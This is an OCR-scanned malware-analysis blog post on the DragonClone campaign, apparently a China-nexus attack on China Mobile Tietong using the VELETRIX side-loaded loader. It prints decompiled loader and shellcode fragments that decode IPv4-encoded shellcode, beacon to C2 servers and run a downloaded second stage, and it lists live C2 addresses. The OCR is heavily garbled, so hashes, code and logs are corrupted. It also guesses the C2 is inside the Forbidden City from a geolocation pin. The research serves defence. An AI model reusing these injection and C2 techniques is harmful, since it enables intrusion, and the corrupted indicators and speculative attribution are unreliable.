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In my work I had the opportunity to analyze a China-Nexus Threat Actor, called Earth Alux, and this research,
which only covers the fundamental points of the Kill Chain and the analysis of some components of its ToolKkit,
was the starting point of a long process of studies on how the Chinese state invested in its Cyber Warfare
capabilities in the long term. This long process of studies, which is still ongoing, led me to analyze several China-
Nexus Threat Actors and their most recent campaigns, especially the most recent ones. This post is one of the
fruits of my process of studying China’s capabilities in employing Cyber Warfare that is aligned with state

interests.

Chinese State Turns to Cyber Warfare

First, it is extremely important to understand that the China-Nexus Threat Actors do not have the same banal
motivations as the eCrime Threat Actors. For decades, the Chinese state has incorporated the cyber warfare project
into civil society, and it is a civic duty of citizens and private companies to collaborate with the objectives aligned
with the Chinese state. It may not seem that impressive, but China has worked for decades to become one of the

world’s technological powers today, and has incorporated policies that use cyber warfare to its advantage, through
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the PLA (People’s Liberation Army) and MSS (Ministry of State Security) units, which are used to conduct cyber
campaigns against private companies, governments, and critical structures, with the aim of meeting the needs of

the state. Literally, cybersecurity at the service of the state.

This makes me think that the China-Nexus Threat Actors have the most sophisticated motivations of all. It’s not as
simple as a threat actor wanting to make an impact to generate revenue for themselves; the China-Nexus are cyber
threats driven by state interests. They can compromise organizations only to silently persist in their infrastructure
for years, just to gather intelligence in the long term, and become a few steps ahead of the Chinese state’s

competitors.

The cybersecurity market, especially those that invest heavily in marketing, talk a lot about Cyber Warfare when
referring to Ransomware groups, or Malware-as-a-Service operated by e-Crime, but the real Cyber Warfare is that
which is waged by states and not by cyber criminals with financial purposes. Cyber Warfare causes diplomatic and
financial market disputes, causes theft of intellectual property, or causes mass espionage through infiltration of

telecommunications companies. And this is exactly the case that I will discuss in this post.

China Targets Country’s Own Telecommunications

In this post, I will analyze a campaign that was named DragonClone by the Segrite Labs APT-Team, whose

research can be found here.

This is an example where it is possible to observe a sophistication in the motivation of the Threat Actor China-
Nexus. Here, the objective is not necessarily the theft of intellectual property of a certain product, or the impact of
encrypting the main servers of the victim’s Domain. In this campaign, the Threat Actors infected the company
China Mobile Tietong Co., Ltd, which is a subsidiary of China Mobile, one of the largest companies in the
telecommunications industry in China. In other words, by compromising a Telecommunications company, the
adversaries have access to the entire backbone responsible for this company, consequently, the adversaries have

access to all the traffic that passes through this backbone. Mass Espionage.

This allows us to observe how strategic the China-Nexus Threat Actors are, allowing the Chinese state to remain
well positioned to identify, respond to any future state threat. Now let’s analyze the technical aspect of the

campaign.
Technical Analysis of the DragonClone Campaign

Below, we can see the general flow of the infection that we are going to unravel, and as we can see, the initial
access is made through the Spearphishing technique (T1566.001), delivering to users a ZIP file that contains
binaries related to an internal training program for employees of China Mobile Tietong Co., Ltd. Wondershare
software, specifically Recoverit. But when executed, the benign software will execute a malicious DLL placed by

the Threat Actor, with the aim of loading a 2nd stage into memory.
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The component that was Sideloaded is a DLL that Wondershare contains a dependency on, which the Threat Actor

replaced with a loader customized by the adversary identified as VELETRIX.

The ZIP file we will use in this analysis contains the SHA256 below.
SHA256: " fef69f8747c368979a9e4c62f4648ea233314b5f41981d9c@1c1cdd96fb@7365"

Within the ZIP file it is possible to observe several binaries, however, the main one that is targeted by
Spearphishing is the one identified as “2025%EF E# B R AT NIBELVITRIBPR B3 |, FRIEIRE exe”,
in which is translated to “China Mobile Limited’s internal training program for 2025 is about to start, please
sign up as soon as possible“. As we can see, the filename has a social engineering component that as we said

before, targeting the China Mobile Tietong Co. employees.

Below, we can see the point exploited with DLL Side-Loading, where the main Wondershare software has a DLL

dependency with drstat.dll , as we can see below.
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Offset MName Func. Count Bound? OriginalFirstThun  TimeDateStamp  Forwarder NameRVA
3FF4 [arstatan] 7 FALSE 5970 0 0 5A2A
4008 MSVCP140.dll 27 FALSE 5740 0 0 BOAA
401C VCRUNTIMET40... 9 FALSE 5820 0 0 6144
4030 api-ms-win-crt.. 19 FALSE 5888 0 0 6352
4044 api-ms-win-crt... 4 FALSE 5870 0 0 6374
4038 api-ms-win-crt.. 1 FALSE 38A8 0 0 6394
406C api-ms-win-crt.. 2 FALSE 5958 0 0 63B4
4020 api-ms-win-crt.. 1 FALSE 5808 0 0 6304
4084 KERMEL32.dll 15 FALSE 560 0 0 6354

drstat.dll [ 7 entries ]

Call via MName QOrdinal QOriginal Thunk  Thunk Farwarder Hint
42B0 dr_data_init - 59C0 59C0 A
4288 dr_data_screen - 5A18 5A18 B
4200 dr_data_custom... |- SA04 3A04 ]
42C8 dr_data_stop - 59F4 59F4 C
4200 dr_data_event - S5E4 S9E4 g
4208 dr_data_base_info|- 5900 5900 2
42ED dr_data_count - 55RO 55B0 5

It is at this point in the kill chain that the Threat Actor will abuse this dependency, executing a malicious chain

through the legitimate software. So, let’s analyze the drstat.dll DLL placed in the ZIP file by the Threat Actors.
drstat.dll Reverse Engineering

When we load the binary in Binary Ninja, we can see the exports of this DLL in the Triage Summary view.

Ordinal
NLG
dr_

dr_

g Bx1888B1818 dr_data_stop

None of the exports listed above do something, except the exported function dr_data_stop . This is the only

function that has a routine, and, it is the main function of the VELETRIX .

When this function is called by the legitimate binary, the first routine to be executed is the Anti-Sandbox routine,
executing the GetTickCount in the beginning and in the end of the Anti-Sandbox loop. The loop is compound by
a 10 seconds sleep (with Sleep API) and checking the sound in the system with Beep call.
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byte [rel flag_for_anti-vm_init],
8x1800013b3

call gqword [rel GetTickCou
mov ebx, Bxa
nop word [rax+rax]

ecx, Bx3e8
qword

[rel
rbx, 6x1
181068

call gword [rel GetTickCount]

After the Anti-Sandbox routine is completed, VELETRIX’s main function is to start the dynamic API loading
routine with LoadLibraryA and GetProcAddress, as we can see in the Disassembly code snippet below, where the

adversary tries to evade detection and hinder the analysis through the Stack Strings technique.
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gword [rel Ge
rex, [rsp
dword [rsp+@
dword [rsp+
dword [rbp-
byte [rbp-&

dword [rbp-8
dword [rbp-

ri2, rax
dword [rbp-8x6
dword [rbp-
gword [rel G

rex, rbx
gword [rsp+
dword [rbp-8x
dword [rbp-8

All of the Windows APIs that is loaded in this routine you can see below.

o VirtualAllocExNuma;
o VirtualProtect;

o EnumCalendarInfoA;

o SystemFunction036 (RtiIGenRandom);

o HeapAlloc;
e HeapFree;
e Rtllpv4StringToAddressA.

And here’s the interesting thing, if you look at the strings in the VELETRIX binary, you’ll see a large number of
IPv4 addresses. These addresses together are the encrypted shellcode that VELETRIX loads upon execution.
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This is not a new method of obfuscation, but it is quite unusual. It works because each byte (in hexadecimal) of
the shellcode can be represented by an octet of an IPv4 address. The work that the adversary had to do was to
aggregate four octets (4 bytes) and transform them visually into IPv4 addresses. To convert IPv4 addresses into
bytes, it is necessary to use the RtlIpv4StringToAddressA API, which is exactly the routine that VELETRIX

executes.
ixe] = &c2_ip_addr;
PCSTR Terminator

while (ptr_RtlIpv4StringToAddressA(*(uinted_t#*)ptr_cZ_ip_addresses, 8,
ETerminator, Addr) !'= STATUS_INVALID_PARAMETER)
Addr = &Addr[1]:
ptr_c?_ip_addresses = &ptr_c2?_ip_addresses[1]:

After deobfuscating the Shellcode, VELETRIX subjects each byte to an XOR operation with the key 0x6f, with
the aim of decrypting the previously obfuscated Shellcode.

1ar* ptr_byte_counter = (inté4_t)byte_counter;

#(uintB_t#*) (ptr_byte_counter + ip_addr_byte)
byte_counter += 1;
} while (byte_counter =< Bx5

I implemented a script in Python in uploaded in my Github (the link is in the Reference section), which aims to
execute the same algorithm flow, that is, receive the list of IPv4 addresses, transform the octets into their
corresponding bytes and finally submitting the byte to a single-key XOR operation 0x6f . At the end of this
decryption flow we will have the decrypted Shellcode.

VELETRIX implements an unconventional method of Shellcode injection, opting to use

the EnumCalendarInfoA API. Basically, VELETRIX allocate a memory space and change the protection

through VirtualProtect to PAGE_EXECUTE_READWRITE permissions, in this space it will be placed the Shellcode
address as the first argument of the EnumCalendarInfoA API call, since it expects to receive the application-
defined callback function. Thus, the API will execute the code present in the address given in the first

argument lpCalInfoEnumProc . With this unconventional implementation, the Shellcode will be executed and may

escape detections that conventional methods monitor. Below, we can see this implementation.
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rdx, qword [rdi+8xg]

r9, [rsp+Bx4s8 101dProtect}]
rcx, gword [rdi 5]

r8d, PAGE_EXECUTE_READWRITE

gword [rsp+@ VirtualProtect}]
ecx, dword [rdi+Bx

ed

rcx,

rod, :

réd, Bxf

gword [rsp+@ p_EnumCalendarInfoA}]
byte [rel flag_for_anti-vm_init], @&x1

Shellcode Reverse Engineering

The first action to be performed is to collect the kernel32.dll DLL by accessing the memory structures through the

PEB.

TEB* gsbase;
struct _LDR_DATA_TABLE_ENTRY#* dll =
gsbase-=Pr nvironmentBlo

while (d11->D11E

void* D11Base = dll-=D11
int32_t dll_hash = @:

struct _

ldr_struct.Flink

#(uintl6_t#*)

ldr_struct.B =

dll = dll->InLoadOrderLir .Flink:

ct _LIST_ENTRY ldr_struct:

By collecting the address of kernel32.dll, Shellcode de-hashes the LoadLibraryA API, which will be used to load

the other DLLs. The DLL names were placed in Stack Strings, with the aim of evading detection.

Page 8 of 31


https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya

https://0x0d4y.blog/telecommunications-supply-chain-china-nexus-threat-technical-analysis-of-veletrix-loaders-strategic-infrastructure-positioning /

shellcode_r
edi, edi
dword [rbp-¢
rbx, rax

yte [rbp-
rex, [rbp-
dword [rbp
word [rbp-
rbx

rcx,

dword [rbp
dword [rbp
word [rbp-

shellcode_main_wrapper

rcx

w

dword [rbp
dword [rbp
word [rbp-

yte [rbp-

LoadLibraryA_t* ptr_LoadlLibrary = shellcode_ror
user32.dll:
__builtin_strncpy(&user32.dll, "user3Z.dl1l", exb);

ptr_LoadLibrary(&user3z2.dll);
ws2_32.d11:
__builtin_strn (EwsZ_32.d11,
ptr_LoadLibrary(&ws2_32.d11);
msvcrt.dll:
__builtin_strnc Emsvert.dll,
ptr_LoadLibrar .msvert.dll)
SAStartup_t* Startup = ¢
atA_t* WSASocketa

uinted_t ri11;
VirtualAlloc = shellcode_ror pi_hash({VirtualAlloc);

The Hashing algorithm is simple, being based on the ROR13 algorithm, as we can see below.
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MoOVSX eax, byte [rcx]
ror ed 13

a

cmp byte [rex], 8x61

From this point on, the Shellcode will use the WinSocket library to communicate with its Command and Control

server. Below we can see the network communication setup

e WSAStartup - Initialize Winsock
e WSASocketA - Create socket

e connect — Establish connection

o send — Send data

e recv — Receive data

e closesocket — Clean up socket

e gethostbyname / inet addr — DNS resolution

Below we can see the use of WSAStartup to start the socket initialization process.

maow ecx, HBxZ282

lea rdx, [rbp+t

call gword [rbp

Below you can see the socket setup, where you can see that Shellcode will use the TCP protocol to establish the

connection.

mowv dword [rsp+
lea r8d, [rbx
mov edx, ri14d
mow dword [rsp
lea ecx, [rbx
call ri3

The IP address of the Command and Control server is hardcoded via Stack String, as can be seen in the image
below, being 62.234.24.38

And to validate that this is in fact the Command and Control IPv4 address, we just need to look at the score of this

IP address on VirusTotal, and the country of origin being China.
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C Reanalyze = Similar~ More

62.234.24.38 (62.234.0.0/16)

AS 45090 ( Shenzhen Tencent Computer Systems Company Limited ) . 11days ago

Below we can see the Shellcode finally calling the connect API, with the aim of connecting to the Command

and Control address identified previously.

réd, ri1zd
rdx, [rbp-8x socket_addr_struct}]
rbx

aceholder}]

qword [rax]
dword [rex]

socket_addr_struct}]

mov e
call gword [rel
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And here’s the interesting part! Shellcode has the ability to receive encrypted data from the Command and Control
server, decrypt it through a simple XOR algorithm with the key 0x99 , then execute it at a previously allocated

address with PAGE_EXECUTE_READWRITE permissions. Below, we can see the flow of what was briefly described.

VirtualAlloc(8, Bx 3, MEM_COMMIT, PAGE_EXECUTE_READWRITE] ;

if (recv_executable_data)

buffer = recv_executable_data:

while (true)
I

1
num_bytes_recv =
recv(socket_descriptor, buffer,

(num_bytes_recv < rbx_2 + 1)
break:
ré_18 = 8;

( num_bytes_recv)

do

vintéd_t rex_21 = (uintéd_t)(r8_18 + rsi_2);
r8_18 += x_2 + 1;

*(uint 1{rex_21 + recv_executable_data) 4=
} while (r8&_

1
I

r=i_2 += r|un'|_|:|‘_:.-"|: :
buffer = (uintfd_
}

closesocket(socket_descriptor);
return recv_executable_datal):

This is interesting because what we know through public intelligence is that VELETRIX carries

a VShell shellcode whichis an Offensive Security Tool ,like Meterpreter , Cobalt Strike among others,
which means that, when executed, it will communicate with the Command and Control server, where some data
will be sent (possibly for agent authentication), and then the Command and Control server will send encrypted

data that will be subjected to an XOR operation, and executed in memory.

A Deep Dive into the C&C Communication & 2nd Stage Extraction

So far, we have only analyzed the Loader component of the Kill Chain, but as we have seen in our analysis, the
VELETRIX Shellcode appears to download and execute some type of data. To identify this, in my isolated
laboratory I executed the Wondshare software and consequently the VELETRIX loader. During its execution, I
captured all the loader traffic, which we can see in the image below, the validation of communication with the
IPv4 address 62.234.24.38 on TCP port 9999.
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162 2025-07-02 22:10:52.443721 62.234. 74 3¢ TP 66 19986 + 9999 [SYN] Seq=@ Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM

163 2025-07-02 22:10:52.751184 172.21.187.229 TP 66 9999 + 49986 [SYN, ACK] Seq-0 Ack=1 Win-64248 Len-d M5S=1424 SACK_PERM WS=128
164 2025-07-02 22:10:52.751409 62.234.24.38 TP 54 49986 + 9999 [ACK] Seq=1 Ack=1 Win=263424 Len=@

165 2025-07-02 22:10:52.751689 62.234.24.38 Tce 6@ 49986 - 9999 [PSH, ACK] Seq=1 Ack=1 Win=263424 Len=6

166 2025-07-02 22:10:53.346389 62.234.24.38 172.21.187.229 49986 T 54 9999 + 49986 [ACK] Seq=1 Ack=7 Win=64256 Len=-@

167 2025-07-82 22:18:53.346452 62.234.24.38 TP 88 49986 + 9999 [PSH, ACK] Seq=7 Ack=1 Win=263424 Len=34

168 2025-07-02 22:10:53.652193 172.21.187.229 Tep 549999 + 49986 [ACK] Seq-1 Ack=41 Win-64256 Len-8

169 2025-67-02 22:10:53.665713 62.234.24.38 172.21.187.229 Tce 1078 9999 + 49986 [PSH, ACK] Seq-1 Ack=41 Win=64256 Len=1024
170 2025-07-02 22:10:53.665713 62.234.24.38 172.21.187.229 1678 9999 - 49986 [PSH, ACK] Seq=1025 Ack=41 Win=64256 Len=1024

175 2025-07-02 22:18:53.665713 1078 9999 + 49986 [PSH, ACK] Seq=6145 Ack=41 Win=564256 Len=1824

177 2025-07-02 22:10:53.665713 1078 9999 > 49986 [PSH, ACK] Seq=0217 Ack=-41 Win-64256 Len-1024

179 2025-07-02 22:10:53.665818 172.21.187.229 62.234.24.38 9999 66 49986 ~ 9999 [ACK] Seq=41 Ack=2049 Win-263424 Len- SLE-3073 SRE-4097

181 2025-A7-A2 22:1A:53.665R43 172 21182 220 2 234 24 3 T 6 49986 ~ 9999 [ACK] Sea=41 Ack=4A97 Win=263424 | en= SI F=5121 SRF=A145

Below, we can see that the Command and Control server sent a large amount of data to the infected host, reaching
5MB.

Address A Address B Packets Bytes Bytes A —E Bytes B — A
172.21.187.229 £2.234.24.38 6,371 5 MEB 190 kB 5MEB

This amount of packets is not in vain, basically VELETRIX sends two pieces of information to the Command and

Control server as a Beacon:

e The version of the 2nd Loader: w64
e The IP address of the Command and Control server: 62.234.24.38

After sending this beacon, the Command and Control server sent almost 5MB of encrypted data.

gappaeRe 77 36 34 28 20 28 w4

geeeaaes 27 ef 36 32 2e 32 33 34 2e 32 34 2e 33 38 B0 60 '.62.234 .24.38..

appeaalc @8 88 B0 BB 68 B8 BE BB PO BB OB BB B8 BB BB BB  ........ ....00..

eppaaaloe  @e ae g
8e00e008 d4 c3 dc cb 71 99 99 99 99 c@ dl 1a 7@ 98 d1 12 qocclloon cocoofoo:
@eoBeele 58 dl 9c 99 79 d4 99 66 49 53 99 99 99 99 99 99 Xoooy..f IZ......
agpepe2a 99 99 99 99 99 99 99 99 99 99 99 99 99 99 99 99 ........ sessasa.
agpepa3a 99 99 99 99 99 99 99 99 99 99 99 99 19 99 99 99 ........ sessasa.
GaeeRE48 97 86 23 97 99 2d 98 54 bB 21 98 d5 54 b8 od f1 2oiBoo=all cHoaollooc
0e008058 T0 ea b9 e9 eb f6 fe eb f8 f4 b9 fa f8 f7 f7 f6 ... ovns ciuann..

appeee6d ed b9 th fc b9 eb ec f7 b9 8 f7 b9 dd d6 ca b9  .....oer tiviunn.
ARRRRARTA F4 fA Fd f- h7 94 a4 93 hd G0 Gq Go g Qo 9o ag

Since we have the logic of the decryption algorithm through an XOR operation with the key 0x99, I developed a
Python script that decrypts the entire HEX data block and checks whether the first 16 bytes of the binary refer to
the MZ and PE header. The complete code you can find on my Github.

PS C:\Users\@x8d4y\Desktop\Research\Malware Research\Dragonclone Operation‘\op_dragonclone> python .\decrypt second stage.py
Decrypted 5185152 bytes

Saved to: second-stage.bin
First 16 bytes: 4d5a4552e2000888085948832909488b
Detected PE file signature!

This way, we extract, decrypt and obtain offline the 2nd stage loaded by VELETRIX.

When uploading to Unpac.me, we can see in the image below that the decrypted binary is Packed, and that
Unpac.me performed Unpack of this binary, the final format being a Golang DLL with the Hash
€9dc947b793d13c3b66c34de9e3a791d96e34639c5de1e968fb95ead6bd52c23.
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Results Hunt Q @D

Submitted Sample Status
02/07/2025 " ee2148¢1a134fb363b610134138821531c8591647294fec9fcd37h695TOctfc
19:51:06 second-stage.bin

QEE Insights -

Classification Malicious
Packer Generic Packer
AntiVirus Q % ClamAv: WinTool Garble-10044180-0 [

Parent ¥

ee2148¢1a134fb363b61013413882f531cB591647294feca0fcd37Th69570cffc ClaméV: Win Tool Garble-10044180-0
second-stage.bin
¥32 exe 4.9 MB 31/12/1969 Time Stomped
52 Unpacked Children 00
Unpacked Child
9add1a61155ecd7cf6F347fafT76b746eebbde1dc9360d81b82909da34650642
x64 ) (exe ) (711 KB 17/05/2017 View File &

Unpacked Child
<9dc047h793d13c3b66c34dee3a791d06e346, 46bd52c23
= x64 dil 74 MB 31/12/1963 Time Stomped View File &

When we open this binary in PEStudio, we can see that the original name of the binary references a possible

Reverse Shell TCP for amd64 processors, as we can see below.

property value
L -,
file » sha256 wait...
file » first-bytes-hex 4D 54 90 00 03 00 00 00 04 00 00 00 FF FF 0D 00 B& 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00
file = first-bytes-text N =
size TTT6768 bytes
entropy 6.126
file » type dynamic-link-library
cpu 64-hit
subsystem console
ersion n/a
description n/a
entry-point > first-bytes-hex 48 83 EC 4848 8B 05 15 AA 7500 C7 00 00 00 00 00 83 FA 01 74 0A 48 83 C4 48 E9 B1 FE FFFF 90 4C
entry-point > location (00001330 (section] text])
signature | tooling vait...
semps
compiler-stamp n/a
nfa
u n/a
import-stamp nfa
export-stamp nia
memes
i ch\userst malware research\dragonclone operation\.op_dragonclone\unpacked_second_stage\second_stage.bin
nfa

| tep_windows_amd64.dil

nfa

manifest n/a
MNET > module n/a
certificate > program-name nfa

Maybe in the future I’1l do an in-depth analysis of this sample, but for now I’ll stop here, as this post is already a
bit long &)

Anyway, I’ve uploaded this sample to MalwareBazaar so you can download it and run your own analysis. At the

end of this post you can get all the links.
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With the pattern identified in this lab run, I also developed a Python script that automates the automatic download

and decryption routine:

e The script will connect to the C&C server;

e It will send the Beacon for authentication purposes;

e It will download the encrypted 2nd Stage;

o It will decrypt the 2nd Stage, and finally save it to a file for future analysis.

You can use this script to securely download the data from your research host. Below we can see the execution of

this script.

Research\Malware Research\Dragonclone Operation\op dragonclone> python .\veletrix 2nd_stager downloader.py 6:
2nd Stage Extraction

Connected to (
Sending bea:
000080808000000000208000000000000080008

[*] waiting for 2nd stage payload.
[+] Total payload 5165
ting payload with XOR ke
by

al
[+] Operation completed successfully
PS Research\Malware Research\Dragonclone Operation‘\op_dragonclone> ||

Hunting and Analyze other Samples with the same Pattern

Using the patterns identified during this research, I created two Yara rules, one for Loader and one for Shellcode.
When performing the Hunt with the Shellcode Yara rule, it was possible to identify two different samples, one
identified on June 17, 2025, and the other on April 18, 2025.

Page 15 of 31



https://0x0d4y.blog/telecommunications-supply-chain-china-nexus-threat-technical-analysis-of-veletrix-loaders-strategic-infrastructure-positioning /

win_veletrix_shellcode_072025
0

R

Rule Validation: Passed

Matches: 2 + Scan Coverage: 100 % +
n 12 week lockback window
Goodware: 0
in full lookback window
Observed Lifespan 9 Weeks
First Seen 18/04/2025
Last Seen 17/06/2025
a 2 C—— <50KB 1 e—
[ 64 ] 2 — <100KB 1 —
<250KB 0
<500KB ]
<1MB 0
<5MB ]
<10MB 0
<25MB ]
<50MB ]
<100MB 0
Selection (0) @ @
Matches =% First Seen 3 Last Seen ~ Type Size &
27ce4c7d2d6dbbbae247adaeb2e76dfad3c309c447f512850276ba64555a6ebes | (B @) € 1 17/06/2025  17/06/2025  @X®  TKB
— Analysis Reports (1) =
8be13b55-ed08-485¢-8b17-5e2049658182
a15f3e20e3df@5032445607c086c 3a2accf576ecefsdarfada730casfociaic | (B @ @ 1 18/04/2025  13/04/2025 @9  36KE
— Analysis Reports (1) =
fc3f0a03-268d-4912-a2ce-2120554cbcs9

The sample with the hash a15f30f20e3df05032445697c906c3a2accf576ecefbda7fad3730ca5f9c141c is the pure
shellcode, in which we can observe that it has several primary similarities, identified in the analyzed Shellcode of

the DragonClone campaign.

e The same Hashes and their corresponding APIs are resolved,;
e The same routine for attempting to obfuscate the IP address through the Stack String ( 121.37.80.227 );
o The same routine for storing a Buffer that will contain the 2nd Stage that will be sent by the Command and

Control server, decrypting it and executing it in memory.
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sh_func

ar_348,

Samerori3 APl has
connect): resolved dynamic
send)

closesocket):
ethostbyname
inet_addr):

&
&
*
&
&
&
*
&
&
&
*

Same information
ar_358, : - string to send to C&
Server
arg_18,
arg_2e, 8 ¥: Same routine to pro
th IPv4 Add
__builtin_strr ar_3aB,
var_3aB
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second_stage_encrypted = VirtualAlloc(8,

if (second_stage_encrypted)
{
rsi_1 = 8;
ptr_second_stage_encrypted = second_stage_encrypted;

while (true)
{

rax_18 = rax_5(second-stage_encrypted,
ptr_second_stage_encrypted, AEaE, 8):

Same routine of Download,
Decryptand Execute the
2nd Stage

uinted_t rox_22 (uint64_t)(rB_5 + rsi_1);

ré_s5 += 1;

*(uint8_t*)(rcx_22 + second_stage_encrypted)
} while (r8 < rax_18);

rsi_1 += rax_18;
ptr_second_stage_encrypted =
(uinte4_t)rsi_1 + second_stage_encrypted;

rax_6(second-stage_encrypted) ;
return second_stage_encrypted():

Now when we analyze the other sample that also matched my Yara rule, the one with Hash
27c04c7d2d6dbbb80247adaeb2e76dfad3c39c447151205e276b064555a6eb84 , we can see that it is actually a Loader

that loads and executes the decrypted Shellcode in memory.

This Loader loads the decrypted Shellcode into the only Resource present in the binary, identified by ID 101 .
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# Address Offset Size

GII RT_RCDATA{10) 101 1033 0000D00014000F058 8458 OSGCI
Hex Strings
Lddress 00 01 O2 03 04 05 06 07 08 05 Oa Ob Oc O4d Oe Of Symbols
Q0000001 :4000£058 @03 00 00 00 ce ce cc 40 55 53 56 57 41 54 41 D ....... BUSVWATA
Q0000001 :4000£068 55 41 56 41 57 48 8d ac 24 68 fd £ff £f 48 81 ec TAVAWH. .§h.. .H. .
0000000L:4000£073 58 03 00 00 b9 4c 77 26 07 e8 2e 04 00 00 33 £€£ ... .. Lwk...... 3.
00000001 :4000£083 cT 45 90 75 73 65 72 483 8b 48 40 88 74 9%a 48 8d .E.userH..E.}.H.
00000001 :4000£053 44 S0 o7 45 94 33 32 2e 64 66 o7 45 98 6o 6c f£ M..E.32.df.E.11.
Q000Q0000L:4000f0a8 d3 48 84 4d abl c7 45 a0 77 73 32 5f <7 45 a4 33 .H.M..E.ws2_ .E.3
00000001 :4000£0kL3 32 2e 64 66 o7 45 a8 6c 6o 40 88 7d aa £f 43 48 2.df.E.11@.}...H
00000001 :4000f0c8 8d 4d b0 <7 45 bh 6d 73 76 63 o7 45 bd 72 74 2e .M. . E.msvc.E.rt.
Q0000001 :4000£0d3 64 66 o7 45 b8 6c 6c 40 88 7d ba £f 43 b% 29 80 df . E.11@.}F....) .
Q0000001 :4000f0e8 6b 00 &8 o5 03 00 00 b9 ea Of df 0 48 89 45 4O k..o oo oo u H.E.
Q0000001 :4000£0£8 ed b7 03 00 00 b9 99 a5 74 61 4c 8be8 €8 aa 03 . ....... taL.....
anooonnT :4000F108 nn on he n? eh 3R AT 48 Ah fl &R 94 N3 OO0 OO0 S . .. .. R H........

The Loader code is very straightforward, without any kind of API obfuscation. Below, you can see the use of

standard APIs to load resources.
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RC hResInfo:
rdx:
hResInfo = FindResourceA(nullptr, 181, 18):

if (!'hResInfo)
printf(&_.rda
return 1;

HGLOBAL hResData:
rdx_2:

hResData = LoadResource(nullptr, hResInfo);

if (!'hResData)
printf 3 rdx_2);
return 1;

uint8_t* lpBuffer;
rdx_3:
lpBuffer = -kResource(hResData) ;

if (!lpBuffer)

printf : rdx_3):
return 1;

uint32_t nNumberOfBytesToWrite;
rdx_5:
nNumberOfBytesToWrite Size ce(nullptr, hResInfo);

if (!nNumberOfBytesToWrite)
printf
return

After extracting the Shellcode from the binary’s Resource, the Loader will implement three routines:

e Loading of Undocumented APIs required for injection into the Thread;
e Allocation of Memory with Execution permissions to allocate the Shellcode;

» Execution of the Shellcode through a Thread.
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nullptr
NtAllocateVirtualMemory
A("ntd1l.d11"),

ntdll.d11") ;
" o Loading

tModuleHandleA( "ntd11.d11"), "NtCl
if (!NtAllocateVirtualMemory INtCreateThreadEx 'NtClose)

printf
return

uint64_t RegionSize = (uint64_t)nNumberOfBytesToWrite;

tevirtualMemery(current_proc_handle, &buffer_allocated,
CUTE_READWRITE) ;

Sh

print 46 uint64_t)rax dAi=lLE
Alloc

return 1;

y{buffer_allocated, resource_data, (uint64_t)nNumberOfBytesToWrite):
shellcode_data_allocated = buffer_allocated;
d_handle:
28 = NtCreateThreadEx(&thread_handle, ffff, nullptr
ata_allocated, nullptr, 8, B, B, B, nullptr);

code
ion and
ecution
h a Thread

V buffer_al
prin 14
return

And finally, we come to the analysis of the Shellcode that will be injected and executed in a Thread. The patterns
are literally the same, with only the IPv4 address of the Command and Control server ( 156.238.236.130 ) being
changed.
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*# rax = shellcode_ror13_func(LoadlLibraryA)
var_348
__builtin_: cpy(dest: &var_348, src:
rax(&var_348)
var_338
__builtin_: r(dest: rar_338, src:
rax(&var_338)
var_328
__builtin_s r(dest: rar_328, src:
var_328)
rax_1 = shellcode_ - (WSAStartup)
1: WSASocketA)
(connect)
c(send)
VirtualAlloc)
recv)
(closesocket)
gethostbyname)
inet_addr)
(wsprintfa)

*
&
*
*
*
&
*
*
*
&
*

var_2Z268
shellcode_ror13
var_368
__builtin_strn
var_358
builtin_st y(dest: &var_358, src: "log_de.
arg_1@ 7 C
var_268, &v 3¢ .var_268, &var_358, Zarg_18)
result |

(result.d !'= 8)
var_358
builtin_strnc
arg_18
__builtin_strncpy(dest: &arg_18,
arg_28
__builtin_strncpy(dest: &arg_28,
var_3aB
__builtin_strncpy(dest: &var_3a8,
var_3aB =

The same pattern is also observed in the 2nd Stage receiving, decryption and execution routine, as we can see

below.
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second_stage_encrypted_addr = VirtualAlloc(®,

rsi_1 = @8
second_stage_encrypted_addr_1 = second_stage_encrypted_addr

while (true)
rax_16 =

(rax_16 s=
break

uint64_t rex_22 = zx.q(r8_5 + rsi_1)

rg_5 += 1

*(rcx_22 + second_stage_encrypted_addr)
while (r8_5 u< rax_16)

rsi_1 += rax_16
second_stage_encrypted_addr_1 =
zx.q(rsi_1) + second_stage_encrypted_addr

rax_4(second_stage_encrypted_addr_2)
return second_stage_encrypted_addr()

All these analysis of samples that matched my Yara rule lead me to believe that this Shellcode is indeed part of
some OST (Offensive Security Tool), like the VShell pointed out in the Seqrite report. But, most importantly, they

are probably samples from the same Threat Actor. So, let’s analyze the infrastructure identified so far.

Analysis of C&C Infraestrutucture

Well, by now you may be wondering, how certain can we be of attributing this campaign? Well, in fact, just the
fact that one of the largest telecommunications companies in China is the target of this campaign may not be
enough. However, when we analyze the IPv4 addressess of the C&C servers we can be a little more certain of the
origin of this campaign. Below, we can see that the IPv4 address 62.234.24.38 identified on that sample of
DragonClone campaign belongs to China itself, in addition to having a series of open TCP ports for network

services.
In addition, the image below also provides some extra information such as:

o Services are hosted on this IPv4 address;

e The operating system of this server is Ubuntu;

e This IP address belongs to Tencent Cloud Computing (Beijing), a China Cloud Computing provider.
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4/ GENERAL

Organization

Tencent Cloud Computing (Bejing) Co...

2 Products

Erlang Pert Mapper Daemon
RabbitMQ
Redis key-value store

ngimx

/A HTTP INSIGHTS

Website Titles
404 Not Found

Welcome to nging!

Below we can see that the server is still active, and still contains a login page, probably a Threat Actors campaign

control page, on TCP port 8082.
M &) 62.2342433:8082 x @+
. () 62.234.24.38:3082
Sign in to access this site

Authorization required by http://62.234.24.358:3082
Your connection to this site is not secure

Username | |

Password

And when we look deeper into the location via Shodan, we can see that the IP address is located in Beijing.
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z Open Ports

a0 4369 65672 6379 8082

AT el

When we search on Google Maps, we can see that the location indicated on the Shodan map is the location of
Tiananmen, where we have the historic square where one of the peaks of the communist regime’s repression

against civilian protests took place. The origin of the connection is probably within the ‘Forbidden City*
complex.
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Tiananmen
F=i]
4,3 (1.683)

Marco histdrico - &

Visdo geral Ingressos Avaliacdes Sobre
Rotas Salvar Proximo Enviar para Compartilha
o r
smartphone

Portéo simbdlice famoso para a Cidade Proibida ' : o L
datado do século 15, mas reconstruido varias > 7 H - =)

: B EELNG00gle -
ezes irbus, L Airbus, CNES / Airbus, Landsat / Copernicus, Maxar Technologies, Dados d
vezes. Tirei _endd

When we analyze the others, the IP address 156.238.236.13@ on VirusTotal appears to be from the United
States.

(' Reanalyze == Similar ~~ More

156.238.236.130 (156.238.232.0/21)

AS 137899 (1 LAYER LIMITED ) — 12 days ago

When we analyze the Relations tab in VirusTotal, we are able to observe 4 samples, two of which have names that

